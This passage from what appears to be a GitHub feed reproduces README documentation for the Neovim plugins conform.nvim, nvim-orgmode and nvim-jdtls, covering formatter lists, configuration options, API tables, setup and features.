necessary.</li> <li><a href="https://github.com/fsouza/prettierd">prettierd</a> - prettier, as a daemon, for ludicrous formatting speed.</li> <li><a href="https://github.com/rubocop/rubocop">rubocop</a> - Ruby static code analyzer and formatter, based on the community Ruby style guide.</li> <li><a href="https://beta.ruff.rs/docs/">ruff_fix</a> - An extremely fast Python linter, written in Rust. Fix lint errors.</li> <li><a href="https://beta.ruff.rs/docs/">ruff_format</a> - An extremely fast Python linter, written in Rust. Formatter subcommand.</li> <li><a href="https://github.com/rust-lang/rustfmt">rustfmt</a> - A tool for formatting rust code according to style guidelines.</li> <li><a href="https://github.com/avencera/rustywind">rustywind</a> - A tool for formatting Tailwind CSS classes.</li> <li><a href="https://github.com/scalameta/scalafmt">scalafmt</a> - Code formatter for Scala.</li> <li><a href="https://github.com/koalaman/shellcheck">shellcheck</a> - A static analysis tool for shell scripts.</li> <li><a href="https://github.com/anordal/shellharden">shellharden</a> - The corrective bash syntax highlighter</li> <li><a href="https://github.com/mvdan/sh">shfmt</a> - A shell parser, formatter, and interpreter with <code>bash</code> support.</li> <li><a href="https://github.com/sql-formatter-org/sql-formatter">sql_formatter</a> - A whitespace formatter for different query languages.</li> <li><a href="https://www.gnu.org/software/coreutils/manual/html_node/cat-invocation.html#cat-invocation">squeeze_blanks</a> - Squeeze repeated blank lines into a single blank line via <code>cat -s</code>.</li> <li><a href="https://github.com/stylelint/stylelint">stylelint</a> - A mighty CSS linter that helps you avoid errors and enforce conventions.</li> <li><a href="https://github.com/JohnnyMorganz/StyLua">stylua</a> - An opinionated code formatter for Lua.</li> <li><a href="https://github.com/apple/swift-format">swift_format</a> - Swift formatter from apple. Requires building from source with <code>swift build</code>.</li> <li><a href="https://github.com/nicklockwood/SwiftFormat">swiftformat</a> - SwiftFormat is a code library and command-line tool for reformatting <code>swift</code> code on macOS or Linux.</li> <li><a href="https://github.com/tamasfe/taplo">taplo</a> - A TOML toolkit written in Rust</li> <li><a href="https://www.terraform.io/docs/cli/commands/fmt.html">terraform_fmt</a> - The terraform-fmt command rewrites <code>terraform</code> configuration files to a canonical format and style.</li> <li><a href="https://www.gnu.org/software/gawk/manual/gawk.html">trim_newlines</a> - Trim new lines with awk</li> <li><a href="https://www.gnu.org/software/gawk/manual/gawk.html">trim_whitespace</a> - Trim whitespaces with awk</li> <li><a href="https://github.com/uncrustify/uncrustify">uncrustify</a> - A source code beautifier for C, C++, C#, ObjectiveC, D, Java, Pawn and Vala.</li> <li><a href="https://github.com/pamoller/xmlformatter">xmlformat</a> - xmlformatter is an Open Source Python package, which provides formatting of XML documents.</li> <li><a href="https://github.com/lyz-code/yamlfix">yamlfix</a> - A configurable YAML formatter that keeps comments.</li> <li><a href="https://github.com/google/yamlfmt">yamlfmt</a> - yamlfmt is an extensible command line tool or library to format yaml files.</li> <li><a href="https://github.com/google/yapf">yapf</a> - Yet Another Python Formatter.</li> <li><a href="https://github.com/ziglang/zig">zigfmt</a> - Reformat Zig source into canonical form.</li> </ul> <!-- /FORMATTERS --> <h2>Options</h2> <p>A complete list of all configuration options</p> <!-- OPTIONS --> <pre><code class="language-lua">require("conform").setup({ -- Map of filetype to formatters formatters_by_ft = { lua = { "stylua" }, -- Conform will run multiple formatters sequentially python = { "isort", "black" }, -- Use a sub-list to run only the first available formatter javascript = { { "prettierd", "prettier" } }, -- Use the "*" filetype to run formatters on all filetypes. ["*"] = { "codespell" }, -- Use the "_" filetype to run formatters on filetypes that don't -- have other formatters configured. ["_"] = { "trim_whitespace" }, }, -- If this is set, Conform will run the formatter on save. -- It will pass the table to conform.format(). -- This can also be a function that returns the table. format_on_save = { -- I recommend these options. See :help conform.format for details. lsp_fallback = true, timeout_ms = 500, }, -- If this is set, Conform will run the formatter asynchronously after save. -- It will pass the table to conform.format(). -- This can also be a function that returns the table. format_after_save = { lsp_fallback = true, }, -- Set the log level. Use `:ConformInfo` to see the location of the log file. log_level = vim.log.levels.ERROR, -- Conform will notify you when a formatter errors notify_on_error = true, -- Define custom formatters here formatters = { my_formatter = { -- This can be a string or a function that returns a string command = "my_cmd", -- OPTIONAL - all fields below this are optional -- A list of strings, or a function that returns a list of strings -- Return a single string instead to run the command in a shell args = { "--stdin-from-filename", "$FILENAME" }, -- If the formatter supports range formatting, create the range arguments here range_args = function(ctx) return { "--line-start", ctx.range.start[1], "--line-end", ctx.range["end"][1] } end, -- Send file contents to stdin, read new contents from stdout (default true) -- When false, will create a temp file (will appear in "$FILENAME" args). The temp -- file is assumed to be modified in-place by the format command. stdin = true, -- A function that calculates the directory to run the command in cwd = require("conform.util").root_file({ ".editorconfig", "package.json" }), -- When cwd is not found, don't run the formatter (default false) require_cwd = true, -- When returns false, the formatter will not be used condition = function(ctx) return vim.fs.basename(ctx.filename) ~= "README.md" end, -- Exit codes that indicate success (default {0}) exit_codes = { 0, 1 }, -- Environment variables. This can also be a function that returns a table. env = { VAR = "value", }, }, -- These can also be a function that returns the formatter other_formatter = function() return { command = "my_cmd", } end, }, }) -- You can set formatters_by_ft and formatters directly require("conform").formatters_by_ft.lua = { "stylua" } require("conform").formatters.my_formatter = { command = "my_cmd", } </code></pre> <!-- /OPTIONS --> <h2>Recipes</h2> <!-- RECIPES --> <ul> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/doc/recipes.md#format-command">Format command</a></li> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/doc/recipes.md#customizing-formatters">Customizing formatters</a></li> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/doc/recipes.md#autoformat-with-extra-features">Autoformat with extra features</a></li> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/doc/recipes.md#command-to-toggle-format-on-save">Command to toggle format-on-save</a></li> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/doc/recipes.md#automatically-run-slow-formatters-async">Automatically run slow formatters async</a></li> <li><a href="https://raw.githubusercontent.com/stevearc/conform.nvim/master/doc/recipes.md#add-extra-arguments-to-a-formatter-command">Add extra arguments to a formatter command</a></li> </ul> <!-- /RECIPES --> <h2>API</h2> <!-- API --> <h3>format(opts, callback)</h3> <p><code>format(opts, callback): boolean</code> <br> Format a buffer</p> <table> <thead> <tr> <th>Param</th> <th>Type</th> <th>Desc</th> <th></th> </tr> </thead> <tbody> <tr> <td>opts</td> <td><code>nil|table</code></td> <td></td> <td></td> </tr> <tr> <td></td> <td>timeout_ms</td> <td><code>nil|integer</code></td> <td>Time in milliseconds to block for formatting. Defaults to 1000. No effect if async = true.</td> </tr> <tr> <td></td> <td>bufnr</td> <td><code>nil|integer</code></td> <td>Format this buffer (default 0)</td> </tr> <tr> <td></td> <td>async</td> <td><code>nil|boolean</code></td> <td>If true the method won't block. Defaults to false. If the buffer is modified before the formatter completes, the formatting will be discarded.</td> </tr> <tr> <td></td> <td>formatters</td> <td><code>nil|string[]</code></td> <td>List of formatters to run. Defaults to all formatters for the buffer filetype.</td> </tr> <tr> <td></td> <td>lsp_fallback</td> <td><code>nil|boolean|"always"</code></td> <td>Attempt LSP formatting if no formatters are available. Defaults to false. If "always", will attempt LSP formatting even if formatters are available.</td> </tr> <tr> <td></td> <td>quiet</td> <td><code>nil|boolean</code></td> <td>Don't show any notifications for warnings or failures. Defaults to false.</td> </tr> <tr> <td></td> <td>range</td> <td><code>nil|table</code></td> <td>Range to format. Table must contain <code>start</code> and <code>end</code> keys with {row, col} tuples using (1,0) indexing. Defaults to current selection in visual mode</td> </tr> <tr> <td></td> <td>id</td> <td><code>nil|integer</code></td> <td>Passed to vim.lsp.buf.format when lsp_fallback = true</td> </tr> <tr> <td></td> <td>name</td> <td><code>nil|string</code></td> <td>Passed to vim.lsp.buf.format when lsp_fallback = true</td> </tr> <tr> <td></td> <td>filter</td> <td><code>nil|fun(client: table): boolean</code></td> <td>Passed to vim.lsp.buf.format when lsp_fallback = true</td> </tr> <tr> <td>callback</td> <td><code>nil|fun(err: nil|string)</code></td> <td>Called once formatting has completed</td> <td></td> </tr> </tbody> </table> <p>Returns:</p> <table> <thead> <tr> <th>Type</th> <th>Desc</th> </tr> </thead> <tbody> <tr> <td>boolean</td> <td>True if any formatters were attempted</td> </tr> </tbody> </table> <h3>list_formatters(bufnr)</h3> <p><code>list_formatters(bufnr): conform.FormatterInfo[]</code> <br> Retrieve the available formatters for a buffer</p> <table> <thead> <tr> <th>Param</th> <th>Type</th> <th>Desc</th> </tr> </thead> <tbody> <tr> <td>bufnr</td> <td><code>nil|integer</code></td> <td></td> </tr> </tbody> </table> <h3>list_all_formatters()</h3> <p><code>list_all_formatters(): conform.FormatterInfo[]</code> <br> List information about all filetype-configured formatters</p> <h3>get_formatter_info(formatter, bufnr)</h3> <p><code>get_formatter_info(formatter, bufnr): conform.FormatterInfo</code> <br> Get information about a formatter (including availability)</p> <table> <thead> <tr> <th>Param</th> <th>Type</th> <th>Desc</th> </tr> </thead> <tbody> <tr> <td>formatter</td> <td><code>string</code></td> <td>The name of the formatter</td> </tr> <tr> <td>bufnr</td> <td><code>nil|integer</code></td> <td></td> </tr> </tbody> </table> <h3>will_fallback_lsp(options)</h3> <p><code>will_fallback_lsp(options): boolean</code> <br> Check if the buffer will use LSP formatting when lsp_fallback = true</p> <table> <thead> <tr> <th>Param</th> <th>Type</th> <th>Desc</th> </tr> </thead> <tbody> <tr> <td>options</td> <td><code>nil|table</code></td> <td>Options passed to vim.lsp.buf.format</td> </tr> </tbody> </table> <!-- /API --> <h2>Acknowledgements</h2> <p>Thanks to</p> <ul> <li><a href="https://github.com/mfussenegger/nvim-lint">nvim-lint</a> for providing inspiration for the config and API. It's an excellent plugin that balances power and simplicity.</li> <li><a href="https://github.com/jose-elias-alvarez/null-ls.nvim">null-ls</a> for formatter configurations and being my formatter/linter of choice for a long time.</li> </ul> - - - nvim-orgmode/orgmode - 2023-09-24T01:55:20Z - tag:github.com,2023-09-24:/nvim-orgmode/orgmode - - <p>Orgmode clone written in Lua for Neovim 0.8+.</p><hr><div align="center"> <img alt="A blend of the Neovim (shape) and Org-mode (colours) logos" src="https://raw.githubusercontent.com/nvim-orgmode/orgmode/master/assets/nvim-orgmode.svg?sanitize=true" width="250px"> <h1>nvim-orgmode</h1> <p><a href="https://raw.githubusercontent.com/nvim-orgmode/orgmode/master/LICENSE"><img src="https://img.shields.io/badge/license-MIT-brightgreen?style=flat-square" alt="License"></a><a href="https://ko-fi.com/kristijanhusak"> <img src="https://img.shields.io/badge/support-kofi-00b9fe?style=flat-square&amp;logo=kofi" alt="Kofi"></a><a href="https://matrix.to/#/#neovim-orgmode:matrix.org"> <img src="https://img.shields.io/matrix/neovim-orgmode:matrix.org?logo=matrix&amp;server_fqdn=matrix.org&amp;style=flat-square" alt="Chat"></a></p> <p>Orgmode clone written in Lua for Neovim 0.8+</p> <p><a href="https://raw.githubusercontent.com/nvim-orgmode/orgmode/master/#setup">Setup</a> • <a href="https://raw.githubusercontent.com/nvim-orgmode/orgmode/master/DOCS.md">Docs</a> • <a href="https://raw.githubusercontent.com/nvim-orgmode/orgmode/master/#showcase">Showcase</a> • <a href="https://raw.githubusercontent.com/nvim-orgmode/orgmode/master/#treesitter-info">Treesitter</a> • <a href="https://raw.githubusercontent.com/nvim-orgmode/orgmode/master/#troubleshoot">Troubleshoot</a> • <a href="https://raw.githubusercontent.com/nvim-orgmode/orgmode/master/#plugins">Plugins</a> • <a href="https://raw.githubusercontent.com/nvim-orgmode/orgmode/master/CONTRIBUTING.md">Contributing</a> • <a href="https://raw.githubusercontent.com/nvim-orgmode/orgmode/master/#thanks-to">Kudos</a></p> </div> <h2>Quickstart</h2> <h3>Requirements</h3> <ul> <li>Neovim 0.8.0 or later</li> <li><a href="https://github.com/nvim-treesitter/nvim-treesitter">nvim-treesitter</a></li> </ul> <h3>Installation</h3> <p>Use your favourite package manager:</p> <details open> <summary><b><a href="https://github.com/folke/lazy.nvim">lazy.nvim</a> (recommended)</b></summary> <br> <pre><code class="language-lua">{ 'nvim-orgmode/orgmode', dependencies = { { 'nvim-treesitter/nvim-treesitter', lazy = true }, }, event = 'VeryLazy', config = function() -- Load treesitter grammar for org require('orgmode').setup_ts_grammar() -- Setup treesitter require('nvim-treesitter.configs').setup({ highlight = { enable = true, additional_vim_regex_highlighting = { 'org' }, }, ensure_installed = { 'org' }, }) -- Setup orgmode require('orgmode').setup({ org_agenda_files = '~/orgfiles/**/*', org_default_notes_file = '~/orgfiles/refile.org', }) end, } </code></pre> </details> <details open> <summary><b><a href="https://github.com/wbthomason/packer.nvim">packer.nvim</a></b></summary> <br> <pre><code class="language-lua">use {'nvim-treesitter/nvim-treesitter'} use {'nvim-orgmode/orgmode', config = function() require('orgmode').setup{} end } </code></pre> </details> <details> <summary><a href="https://github.com/junegunn/vim-plug"><b>vim-plug</b></a></summary> <br> <pre><code class="language-vim">Plug 'nvim-treesitter/nvim-treesitter' Plug 'nvim-orgmode/orgmode' </code></pre> </details> <details> <summary><a href="https://github.com/Shougo/dein.vim"><b>dein.vim</b></a></summary> <br> <pre><code class="language-vim">call dein#add('nvim-treesitter/nvim-treesitter') call dein#add('nvim-orgmode/orgmode') </code></pre> </details> ### Setup <p>Note that this setup is not needed for <a href="https://github.com/folke/lazy.nvim">lazy.nvim</a> since instructions above covers full setup</p> <pre><code class="language-lua">-- init.lua -- Load custom treesitter grammar for org filetype require('orgmode').setup_ts_grammar() -- Treesitter configuration require('nvim-treesitter.configs').setup { -- If TS highlights are not enabled at all, or disabled via `disable` prop, -- highlighting will fallback to default Vim syntax highlighting highlight = { enable = true, -- Required for spellcheck, some LaTex highlights and -- code block highlights that do not have ts grammar additional_vim_regex_highlighting = {'org'}, }, ensure_installed = {'org'}, -- Or run :TSUpdate org } require('orgmode').setup({ org_agenda_files = {'~/Dropbox/org/*', '~/my-orgs/**/*'}, org_default_notes_file = '~/Dropbox/org/refile.org', }) </code></pre> <p>Or if you are using <code>init.vim</code>, wrap the above snippet like so:</p> <pre><code class="language-vim">" init.vim lua &lt;&lt; EOF require('orgmode').setup_ts_grammar() ... EOF </code></pre> <h4>Completion</h4> <details> <summary><a href="https://github.com/hrsh7th/nvim-compe"><b>nvim-compe</b></a></summary> <br> <pre><code class="language-lua">require('compe').setup({ source = { orgmode = true } }) </code></pre> </details> <details> <summary><a href="https://github.com/hrsh7th/nvim-cmp"><b>nvim-cmp</b></a></summary> <br> <pre><code class="language-lua">require('cmp').setup({ sources = { { name = 'orgmode' } } }) </code></pre> </details> <details> <summary><a href="https://github.com/nvim-lua/completion-nvim"><b>completion-nvim</b></a></summary> <br> <pre><code class="language-lua">vim.g.completion_chain_complete_list = { org = { { mode = 'omni'}, }, } -- add additional keyword chars vim.cmd[[autocmd FileType org setlocal iskeyword+=:,#,+]] </code></pre> </details> <p>Or just use <code>omnifunc</code> via <kbd>&lt;C-x&gt;&lt;C-o&gt;</kbd></p> <h3>Usage</h3> <ul> <li><strong>Open agenda prompt</strong>: <kbd>&lt;Leader&gt;oa</kbd></li> <li><strong>Open capture prompt</strong>: <kbd>&lt;Leader&gt;oc</kbd></li> <li>In any orgmode buffer press <kbd>g?</kbd> for help</li> </ul> <p>If you are new to Orgmode, see <a href="https://raw.githubusercontent.com/nvim-orgmode/orgmode/master/DOCS.md#getting-started-with-orgmode">Getting started</a> section in the Docs or a hands-on <a href="https://github.com/nvim-orgmode/orgmode/wiki/Getting-Started">tutorial</a> in our wiki.</p> <h2>Showcase</h2> <h3>Agenda</h3> <p><img src="https://user-images.githubusercontent.com/1782860/123549968-8521f600-d76b-11eb-9a93-02bad08b37ce.gif" alt="agenda"></p> <h3>Org file</h3> <p><img src="https://user-images.githubusercontent.com/1782860/123549982-90752180-d76b-11eb-8828-9edf9f76af08.gif" alt="orgfile"></p> <h3>Capturing and refiling</h3> <p><img src="https://user-images.githubusercontent.com/1782860/123549993-9a972000-d76b-11eb-814b-b348a93df08a.gif" alt="capture"></p> <h3>Autocompletion</h3> <p><img src="https://user-images.githubusercontent.com/1782860/123550227-e8605800-d76c-11eb-96f6-c0a677d562d4.gif" alt="autocomplete"></p> <h2>Treesitter Info</h2> <p>The built-in treesitter parser is used for parsing the org files. Highlights are experimental and partially supported.</p> <h3>Advantages of treesitter over built in parsing/syntax:</h3> <ul> <li>More reliable, since parsing is done with a proper parsing tool</li> <li>Better highlighting (Experimental, still requires improvements)</li> <li>Future features will be easier to implement because the grammar already parses some things that were not parsed before (tables, latex, etc.)</li> <li>Allows for easier hacking (custom motions that can work with TS nodes, etc.)</li> </ul> <h3>Known highlighting issues and limitations</h3> <ul> <li>Performance issues. This is generally an issue in Neovim that should be resolved before 0.6 release (<a href="https://github.com/neovim/neovim/issues/14762">https://github.com/neovim/neovim/issues/14762</a>, <a href="https://github.com/neovim/neovim/issues/14762">https://github.com/neovim/neovim/issues/14762</a>)</li> <li>Anything that requires concealing (<a href="https://raw.githubusercontent.com/nvim-orgmode/orgmode/master/DOCS.md#org_hide_emphasis_markers">org_hide_emphasis_markers</a>, links concealing) is not (yet) supported in TS highlighter</li> <li>LaTex is still highlighted through syntax file</li> </ul> <h3>Improvements over Vim's syntax highlighting</h3> <ul> <li>Better highlighting of certain parts (tags, deadline/schedule/closed dates)</li> <li><a href="https://github.com/nvim-treesitter/nvim-treesitter/raw/4f2265632becabcd2c5b1791fa31ef278f1e496c/CONTRIBUTING.md#injections">Treesitter highlight injections</a> through <code>#BEGIN_SRC filetype</code> blocks</li> <li>Headline markup highlighting (<a href="https://github.com/nvim-orgmode/orgmode/issues/67">https://github.com/nvim-orgmode/orgmode/issues/67</a>)</li> </ul> <h2>Troubleshoot</h2> <h3>Indentation is not working</h3> <p>Make sure you are not overriding indentexpr in Org buffers with <a href="https://github.com/nvim-treesitter/nvim-treesitter#indentation">nvim-treesitter indentation</a></p> <h3>I get <code>treesitter/query.lua</code> errors when opening agenda/capture prompt or org files</h3> <p>Make sure you are using latest changes from <a href="https://github.com/milisims/tree-sitter-org">tree-sitter-org</a> grammar.<br> by running <code>:TSUpdate org</code> and restarting the editor.</p> <h3>Dates are not in English</h3> <p>Dates are generated with Lua native date support, and it reads your current locale when creating them.<br> To use different locale you can add this to your <code>init.lua</code>:</p> <pre><code class="language-lua">vim.cmd('language en_US.utf8') </code></pre> <p>or <code>init.vim</code></p> <pre><code>language en_US.utf8 </code></pre> <p>Just make sure you have <code>en_US</code> locale installed on your system. To see what you have available on the system you can start the command <code>:language </code> and press <code>&lt;TAB&gt;</code> to autocomplete possible options.</p> <h3>Links are not concealed</h3> <p>Links are concealed with Vim's conceal feature (see <code>:help conceal</code>). To enable concealing, add this to your <code>init.lua</code>:</p> <pre><code class="language-lua">vim.opt.conceallevel = 2 vim.opt.concealcursor = 'nc' </code></pre> <p>Or if you are using <code>init.vim</code>:</p> <pre><code class="language-vim">set conceallevel=2 set concealcursor=nc </code></pre> <h3>Jumping to file path is not working for paths with forward slash</h3> <p>If you are using Windows, paths are by default written with backslashes. To use forward slashes, you must enable <code>shellslash</code> option (see <code>:help 'shellslash'</code>).</p> <pre><code class="language-lua">vim.opt.shellslash = true </code></pre> <p>Or if you are using <code>init.vim</code>:</p> <pre><code class="language-vim">set shellslash </code></pre> <p>More info on issue <a href="https://github.com/nvim-orgmode/orgmode/issues/281#issuecomment-1120200775">#281</a></p> <h2>Features</h2> <h3>TL;DR</h3> <ul> <li>Agenda view</li> <li>Search by tags/keyword</li> <li>Clocking time</li> <li>Repeatable dates, date and time ranges</li> <li>Capturing to default notes file/destination</li> <li>Archiving (archive file or ARCHIVE tag)</li> <li>Exporting (via <code>emacs</code>, <code>pandoc</code> and custom export options)</li> <li>Notifications (experimental, see <a href="https://github.com/nvim-orgmode/orgmode/issues/49">Issue #49</a>)</li> <li>Calendar popup for easier navigation and date updates</li> <li>Various org file mappings: <ul> <li>Promote/Demote</li> <li>Change TODO state</li> <li>Change dates</li> <li>Insert/Move/Refile headlines</li> <li>Change tags</li> <li>Toggle checkbox state</li> </ul> </li> <li>Clocking time</li> <li>Remote editing from agenda view</li> <li>Repeatable mapping via <a href="https://github.com/tpope/vim-repeat">vim-repeat</a></li> </ul> <h3>Detailed breakdown</h3> <ul> <li>Agenda prompt: <ul> <li>Agenda view (<kbd>a</kbd>): <ul> <li>Ability to show daily(<kbd>vd</kbd>)/weekly(<kbd>vw</kbd>)/monthly(<kbd>vm</kbd>)/yearly(<kbd>vy</kbd>) agenda</li> <li>Support for various date settings: <ul> <li>DEADLINE: Warning settings - example: <code>&lt;2021-06-11 Fri 11:00 -1d&gt;</code></li> <li>SCHEDULED: Delay setting - example: <code>&lt;2021-06-11 Fri 11:00 -2d&gt;</code></li> <li>All dates - Repeater settings: <ul> <li>Cumulate type: <code>&lt;2021-06-11 Fri 11:00 +1w&gt;</code></li> <li>Catch-up type: <code>&lt;2021-06-11 Fri 11:00 ++1w&gt;</code></li> <li>Restart type: <code>&lt;2021-06-11 Fri 11:00 .+1w&gt;</code></li> </ul> </li> <li>Time ranges - example: <code>&lt;2021-06-11 Fri 11:00-12:30&gt;</code></li> <li>Date ranges - example: <code>&lt;2021-06-11 Fri 11:00-12:30&gt;--&lt;2021-06-13 Sun 22:00&gt;</code></li> </ul> </li> <li>Properly lists tasks according to defined dates (DEADLINE,SCHEDULED,Plain date)</li> <li>Navigate forward (<kbd>f</kbd>)/backward(<kbd>b</kbd>) or jump to specific date (<kbd>J</kbd>)</li> <li>Go to task under cursor in current window(<kbd>&lt;CR&gt;</kbd>) or other window(<kbd>&lt;TAB&gt;</kbd>)</li> <li>Print category from ":CATEGORY:" property if defined</li> </ul> </li> <li>List tasks that have "TODO" state (<kbd>t</kbd>):</li> <li>Find headlines matching tag(s) (<kbd>m</kbd>):</li> <li>Search for headlines (and it's content) for a query (<kbd>s</kbd>):</li> <li><a href="https://raw.githubusercontent.com/nvim-orgmode/orgmode/master/DOCS.md#advanced-search">Advanced search</a> for tags/todo kewords/properties</li> <li>Notifications (experimental, see <a href="https://github.com/nvim-orgmode/orgmode/issues/49">Issue #49</a>)</li> <li>Clocking time</li> </ul> </li> <li>Capture: <ul> <li>Define custom templates</li> <li>Fast capturing to default notes file via <kbd>&lt;C-c&gt;</kbd></li> <li>Capturing to specific destination <kbd>&lt;Leader&gt;or</kbd></li> <li>Abort capture with <kbd>&lt;Leader&gt;ok</kbd></li> </ul> </li> <li>Org files <ul> <li>Clocking time</li> <li>Refile to destination/headline: <kbd>&lt;Leader&gt;or</kbd></li> <li>Increase/Decrease date under cursor: <kbd>&lt;C-a&gt;</kbd>/<kbd>&lt;C-x&gt;</kbd></li> <li>Change date under cursor via calendar popup: <kbd>cid</kbd></li> <li>Change headline TODO state: forward<kbd>cit</kbd> or backward<kbd>ciT</kbd></li> <li>Open hyperlink or date under cursor: <kbd>&lt;Leader&gt;oo</kbd></li> <li>Toggle checkbox: <kbd>&lt;C-space&gt;</kbd></li> <li>Toggle current line to headline and vice versa: <kbd>&lt;Leader&gt;o*</kbd></li> <li>Toggle folding of current headline: <kbd>&lt;TAB&gt;</kbd></li> <li>Toggle folding in whole file: <kbd>&lt;S-TAB&gt;</kbd></li> <li>Archive headline: <kbd>&lt;Leader&gt;o$</kbd></li> <li>Add archive tag: <kbd>&lt;Leader&gt;oA</kbd></li> <li>Change tags: <kbd>&lt;Leader&gt;ot</kbd></li> <li>Promote headline: <kbd>&lt;&lt;</kbd></li> <li>Demote headline: <kbd>&gt;&gt;</kbd></li> <li>Promote subtree: <kbd>&lt;s</kbd></li> <li>Demote subtree: <kbd>&gt;s</kbd></li> <li>Add headline/list item/checkbox: <kbd>&lt;Leader&gt;&lt;CR&gt;</kbd></li> <li>Insert heading after current heading and it's content: <kbd>&lt;Leader&gt;oih</kbd></li> <li>Insert TODO heading after current line: <kbd>&lt;Leader&gt;oiT</kbd></li> <li>Insert TODO heading after current heading and it's content: <kbd>&lt;Leader&gt;oit</kbd></li> <li>Move headline up: <kbd>&lt;Leader&gt;oK</kbd></li> <li>Move headline down: <kbd>&lt;Leader&gt;oJ</kbd></li> <li>Highlighted code blocks (<code>#+BEGIN_SRC filetype</code>)</li> <li>Exporting (via <code>emacs</code>, <code>pandoc</code> and custom export options)</li> </ul> </li> </ul> <p>Link to detailed documentation: <a href="https://raw.githubusercontent.com/nvim-orgmode/orgmode/master/DOCS.md">DOCS</a></p> <h2>Plugins</h2> <ul> <li><a href="https://github.com/akinsho/org-bullets.nvim">org-bullets.nvim</a> - Show org mode bullets as UTF-8 characters</li> <li><a href="https://github.com/lukas-reineke/headlines.nvim">headlines.nvim</a> - Add few highlight options for code blocks and headlines</li> <li><a href="https://github.com/michaelb/sniprun">sniprun</a> - For code evaluation in blocks</li> <li><a href="https://github.com/dhruvasagar/vim-table-mode">vim-table-mode</a> - For table support</li> </ul> <p>See all available plugins on <a href="https://github.com/topics/orgmode-nvim">orgmode-nvim</a></p> <p><strong>If you built a plugin please add "orgmode-nvim" topic to it.</strong></p> <p><strong>NOTE</strong>: None of the Emacs Orgmode plugins will be built into nvim-orgmode. Anything that's a separate plugin in Emacs Orgmode should be a separate plugin in here. The point of this plugin is to provide functionality that's built into Emacs Orgmode core, and a good foundation for external plugins.<br> If you want to build a plugin, post suggestions and improvements on <a href="https://github.com/nvim-orgmode/orgmode/issues/26">Plugins infrastructure</a> issue.</p> <h3><span>🔧</span> API</h3> <p>Documentation for our work-in-progress API can be found <a href="https://raw.githubusercontent.com/nvim-orgmode/orgmode/master/doc/orgmode_api.txt">here</a></p> <h2>Contributing</h2> <p>See <a href="https://raw.githubusercontent.com/nvim-orgmode/orgmode/master/CONTRIBUTING.md">CONTRIBUTING.md</a></p> <h2>Documentation</h2> <p>If you are just starting out with orgmode, have a look at the <a href="https://github.com/nvim-orgmode/orgmode/wiki/Getting-Started">Getting Started</a> section in our wiki.</p> <p>Vim documentation is auto generated from <a href="https://raw.githubusercontent.com/nvim-orgmode/orgmode/master/DOCS.md">DOCS.md</a> file with <a href="https://github.com/FooSoft/md2vim">md2vim</a>.</p> <p>Hosted documentation is on: <a href="https://nvim-orgmode.github.io/">https://nvim-orgmode.github.io/</a></p> <h2>Roadmap</h2> <ul> <li><input type="checkbox" checked disabled> Support searching by properties</li> <li><input type="checkbox" disabled> Improve checkbox hierarchy</li> <li><input type="checkbox" checked disabled> Support todo keyword faces</li> <li><input type="checkbox" checked disabled> Support clocking work time</li> <li><input type="checkbox" checked disabled> Improve folding</li> <li><input type="checkbox" checked disabled> Support exporting (via existing emacs tools)</li> <li><input type="checkbox" disabled> Support archiving to specific headline</li> <li><input type="checkbox" checked disabled> Support tables</li> <li><input type="checkbox" disabled> Support diary format dates</li> <li><input type="checkbox" disabled> Support evaluating code blocks</li> </ul> <h2>Thanks to</h2> <ul> <li><a href="https://github.com/dhruvasagar">@dhruvasagar</a> and his <a href="https://github.com/dhruvasagar/vim-dotoo">vim-dotoo</a> plugin that got me started using orgmode. Without him this plugin would not happen.</li> <li><a href="https://github.com/milisims">@milisims</a> for writing a treesitter parser for org</li> <li><a href="https://github.com/jceb/vim-orgmode">vim-orgmode</a> for some parts of the code (mostly syntax)</li> </ul> - - - mfussenegger/nvim-jdtls - 2023-09-24T01:55:20Z - tag:github.com,2023-09-24:/mfussenegger/nvim-jdtls - - <p>Extensions for the built-in LSP support in Neovim for eclipse.jdt.ls</p><hr><h1>nvim-jdtls</h1> <p>Extensions for the built-in <a href="https://microsoft.github.io/language-server-protocol/">Language Server Protocol</a> support in <a href="https://neovim.io/">Neovim</a> (&gt;= 0.6.0) for <a href="https://github.com/eclipse/eclipse.jdt.ls">eclipse.jdt.ls</a>.</p> <h2>Audience</h2> <p>This project follows the <a href="https://en.wikipedia.org/wiki/KISS_principle">KISS principle</a> and targets users with some experience with Neovim, Java and its build tools Maven or Gradle who prefer configuration as code over GUI configuration. Ease of use is not the main priority.</p> <p>If you prioritize ease of use over simplicity, you may want to use an alternative:</p> <ul> <li><a href="https://github.com/neoclide/coc-java">coc-java</a></li> <li><a href="https://code.visualstudio.com/">vscode</a></li> <li><a href="https://www.jetbrains.com/idea/">IntelliJ IDEA</a></li> <li><a href="https://www.eclipse.org/ide/">Eclipse</a></li> </ul> <h2>Extensions</h2> <ul> <li><input type="checkbox" checked disabled> <code>organize_imports</code> function to organize imports</li> <li><input type="checkbox" checked disabled> <code>extract_variable</code> function to introduce a local variable</li> <li><input type="checkbox" checked disabled> <code>extract_variable_all</code> function to introduce a local variable and replace all occurrences.</li> <li><input type="checkbox" checked disabled> <code>extract_constant</code> function to extract a constant</li> <li><input type="checkbox" checked disabled> <code>extract_method</code> function to extract a block of code into a method</li> <li><input type="checkbox" checked disabled> Open class file contents</li> <li><input type="checkbox" checked disabled> Code action extensions <ul> <li><input type="checkbox" checked disabled> Generate constructors</li> <li><input type="checkbox" checked disabled> Generate <code>toString</code> function</li> <li><input type="checkbox" checked disabled> <code>hashCode</code> and <code>equals</code> generation.</li> <li><input type="checkbox" checked disabled> Extract variables or methods</li> <li><input type="checkbox" checked disabled> Generate delegate methods</li> <li><input type="checkbox" checked disabled> Move package, instance method, static method or type</li> <li><input type="checkbox" checked disabled> Signature refactoring</li> </ul> </li> <li><input type="checkbox" checked disabled> <code>javap</code> command to show bytecode of current file</li> <li><input type="checkbox" checked disabled> <code>jol</code> command to show memory usage of current file (<code>jol_path</code> must be set)</li> <li><input type="checkbox" checked disabled> <code>jshell</code> command to open up <code>jshell</code> with <code>classpath</code> from project set</li> <li><input type="checkbox" checked disabled> Debugger support via <a href="https://github.com/mfussenegger/nvim-dap">nvim-dap</a></li> <li><input type="checkbox" checked disabled> Optional vscode-java-test extensions <ul> <li><input type="checkbox" checked disabled> Generate tests via <code>require("jdtls.tests").generate()</code></li> <li><input type="checkbox" checked disabled> Jump to tests 